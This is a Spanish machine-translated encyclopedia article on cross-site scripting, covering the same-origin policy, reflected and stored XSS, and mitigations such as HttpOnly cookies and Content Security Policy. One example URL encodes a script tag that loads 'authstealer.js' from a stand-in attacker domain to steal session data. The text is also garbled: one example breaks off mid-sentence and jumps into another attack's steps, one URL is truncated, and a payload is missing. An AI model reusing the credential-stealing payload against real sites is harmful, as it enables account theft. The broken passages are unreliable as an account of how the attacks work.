La secuencia de comandos entre sitios ( XSS ) es un tipo de vulnerabilidad de seguridad que normalmente se encuentra en las aplicaciones web . Los ataques XSS permiten a los atacantes inyectar scripts del lado del cliente en las páginas web que ven otros usuarios. Los atacantes pueden utilizar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso , como la política del mismo origen . Las secuencias de comandos entre sitios realizadas en sitios web representaron aproximadamente el 84% de todas las vulnerabilidades de seguridad documentadas por Symantec hasta 2007. [1]Los efectos de XSS varían en un rango desde pequeñas molestias hasta un riesgo de seguridad significativo, dependiendo de la sensibilidad de los datos manejados por el sitio vulnerable y la naturaleza de cualquier mitigación de seguridad implementada por la red del propietario del sitio .
Fondo
La seguridad en la web depende de una variedad de mecanismos, incluido un concepto subyacente de confianza conocido como política del mismo origen. Esto esencialmente establece que si el contenido de un sitio (como https://mybank.example1.com ) tiene permiso para acceder a recursos (como cookies, etc.) en un navegador web , entonces el contenido de cualquier URL con el mismo (1) El esquema de URI, (2) nombre de host y (3) número de puerto compartirán estos permisos. El contenido de las URL donde cualquiera de estos tres atributos es diferente deberá recibir permisos por separado. [2]
Los ataques de secuencias de comandos entre sitios utilizan vulnerabilidades conocidas en aplicaciones basadas en web, sus servidores o los sistemas de complementos de los que dependen. Aprovechando uno de estos, los atacantes incorporan contenido malicioso en el contenido que se entrega desde el sitio comprometido. Cuando el contenido combinado resultante llega al navegador web del lado del cliente, todo ha sido entregado desde la fuente confiable y, por lo tanto, opera con los permisos otorgados a ese sistema. Al encontrar formas de inyectar scripts maliciosos en páginas web, un atacante puede obtener privilegios de acceso elevados al contenido sensible de la página, a las cookies de sesión y a una variedad de otra información mantenida por el navegador en nombre del usuario. Los ataques de secuencias de comandos entre sitios son un caso de inyección de código .
Los ingenieros de seguridad de Microsoft introdujeron el término "cross-site scripting" en enero de 2000. [3] La expresión "cross-site scripting" se refería originalmente al acto de cargar la aplicación web de terceros atacada desde un sitio de ataque no relacionado. de una manera que ejecute un fragmento de JavaScript preparado por el atacante en el contexto de seguridad del dominio objetivo (aprovechando una vulnerabilidad XSS reflejada o no persistente ). La definición se expandió gradualmente para abarcar otros modos de inyección de código, incluidos los vectores persistentes y no JavaScript (incluidos ActiveX , Java , VBScript , Flash o incluso scripts HTML ), lo que generó cierta confusión en los recién llegados al campo de la seguridad de la información . [4]
Las vulnerabilidades XSS se han informado y explotado desde la década de 1990. Los sitios destacados afectados en el pasado incluyen los sitios de redes sociales Twitter , [5] Facebook , [6] MySpace , YouTube y Orkut . [7] [8] Las fallas de secuencias de comandos entre sitios han superado los desbordamientos de búfer para convertirse en la vulnerabilidad de seguridad más común reportada públicamente, [9] con algunos investigadores en 2007 estimando que hasta el 68% de los sitios web probablemente estén abiertos a ataques XSS. [10]
Tipos
No existe una clasificación única y estandarizada de fallas de secuencias de comandos entre sitios, pero la mayoría de los expertos distinguen entre al menos dos tipos principales de fallas XSS: no persistentes y persistentes . Algunas fuentes dividen aún más estos dos grupos en tradicionales (causados por fallas en el código del lado del servidor) y basados en DOM (en el código del lado del cliente).
No persistente (reflejado)
La vulnerabilidad de secuencias de comandos entre sitios no persistente (o reflejada ) es, con mucho, el tipo más básico de vulnerabilidad web. [12] Estos agujeros aparecen cuando los datos proporcionados por un cliente web, más comúnmente en los parámetros de consulta HTTP (por ejemplo, envío de formularios HTML), son utilizados inmediatamente por los scripts del lado del servidor para analizar y mostrar una página de resultados para y para ese usuario. , sin desinfectar adecuadamente el contenido. [13]
Debido a que los documentos HTML tienen una estructura en serie plana que combina declaraciones de control, formato y el contenido real, cualquier dato no validado proporcionado por el usuario incluido en la página resultante sin la codificación HTML adecuada puede llevar a la inyección de marcado. [12] [13] Un ejemplo clásico de un vector potencial es un motor de búsqueda de sitios: si uno busca una cadena, la cadena de búsqueda normalmente se volverá a mostrar literalmente en la página de resultados para indicar lo que se buscó. Si esta respuesta no escapa o rechaza correctamente los caracteres de control HTML, se producirá un error de secuencia de comandos entre sitios. [14]
Un ataque reflejado generalmente se envía por correo electrónico o un sitio web neutral. El cebo es una URL de apariencia inocente que apunta a un sitio confiable pero que contiene el vector XSS. Si el sitio de confianza es vulnerable al vector, hacer clic en el enlace puede hacer que el navegador de la víctima ejecute el script inyectado.
Persistente (o almacenado)
La vulnerabilidad XSS persistente (o almacenada ) es una variante más devastadora de una falla de secuencia de comandos entre sitios: ocurre cuando el servidor guarda los datos proporcionados por el atacante y luego se muestran permanentemente en páginas "normales" que se devuelven a otros usuarios en el curso de la navegación regular, sin un escape HTML adecuado. Un ejemplo clásico de esto es con los foros de mensajes en línea donde los usuarios pueden publicar mensajes en formato HTML para que otros usuarios los lean. [13]
Por ejemplo, supongamos que hay un sitio web de citas donde los miembros escanean los perfiles de otros miembros para ver si se ven interesantes. Por razones de privacidad, este sitio oculta el nombre real y el correo electrónico de todos. Estos se mantienen en secreto en el servidor. La única vez que el nombre real y el correo electrónico de un miembro están en el navegador es cuando el miembro ha iniciado sesión y no puede ver el de nadie más.
Supongamos que Mallory, un atacante, se une al sitio y quiere averiguar los nombres reales de las personas que ve en el sitio. Para ello, se escribe un guión diseñado para ejecutarse desde los navegadores de otros usuarios cuando ellos visitan su perfil. Luego, el script envía un mensaje rápido a su propio servidor, que recopila esta información.
Para hacer esto, para la pregunta "Describe tu primera cita ideal", Mallory da una respuesta corta (para parecer normal) pero el texto al final de su respuesta es su guión para robar nombres y correos electrónicos. Si la secuencia de comandos está incluida dentro de un
- Ella crea la URL . Podría optar por codificar los caracteres ASCII con codificación porcentual , por ejemplo , para que los lectores humanos no puedan descifrar inmediatamente la URL maliciosa. [23]
http://bobssite.org/search?q=puppies%20src="http:>
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
- Ella envía un correo electrónico a algunos miembros desprevenidos del sitio de Bob, diciendo "¡Miren algunos cachorros lindos!"
Se podrían haber hecho varias cosas para mitigar este ataque:
- La entrada de búsqueda podría haberse desinfectado, lo que incluiría una verificación de codificación adecuada.
- El servidor web podría configurarse para redirigir solicitudes no válidas.
- El servidor web podría detectar un inicio de sesión simultáneo e invalidar las sesiones.
- El servidor web podría detectar un inicio de sesión simultáneo desde dos direcciones IP diferentes e invalidar las sesiones.
- El sitio web solo puede mostrar los últimos dígitos de una tarjeta de crédito utilizada anteriormente.
- El sitio web podría requerir que los usuarios ingresen sus contraseñas nuevamente antes de cambiar su información de registro.
- El sitio web podría promulgar varios aspectos de la Política de seguridad del contenido .
- Configure una cookie con una
HttpOnly
bandera para evitar el acceso desde JavaScript.
Ataque persistente
- Mallory obtiene una cuenta en el sitio web de Bob.
- Mallory observa que el sitio web de Bob contiene una vulnerabilidad XSS almacenada: si uno va a la sección Noticias y publica un comentario, el sitio mostrará lo que se ingrese. Si el texto del comentario contiene etiquetas HTML, se agregarán a la fuente de la página web; en particular, cualquier etiqueta de secuencia de comandos se ejecutará cuando se cargue la página.
- Mallory lee un artículo en la sección de Noticias e ingresa un comentario:
I love the puppies in this story! They're so cute!
Contribute a better translation